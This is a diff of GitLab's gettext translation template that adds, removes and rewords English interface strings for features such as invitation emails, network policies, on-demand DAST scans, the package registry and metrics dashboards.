msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
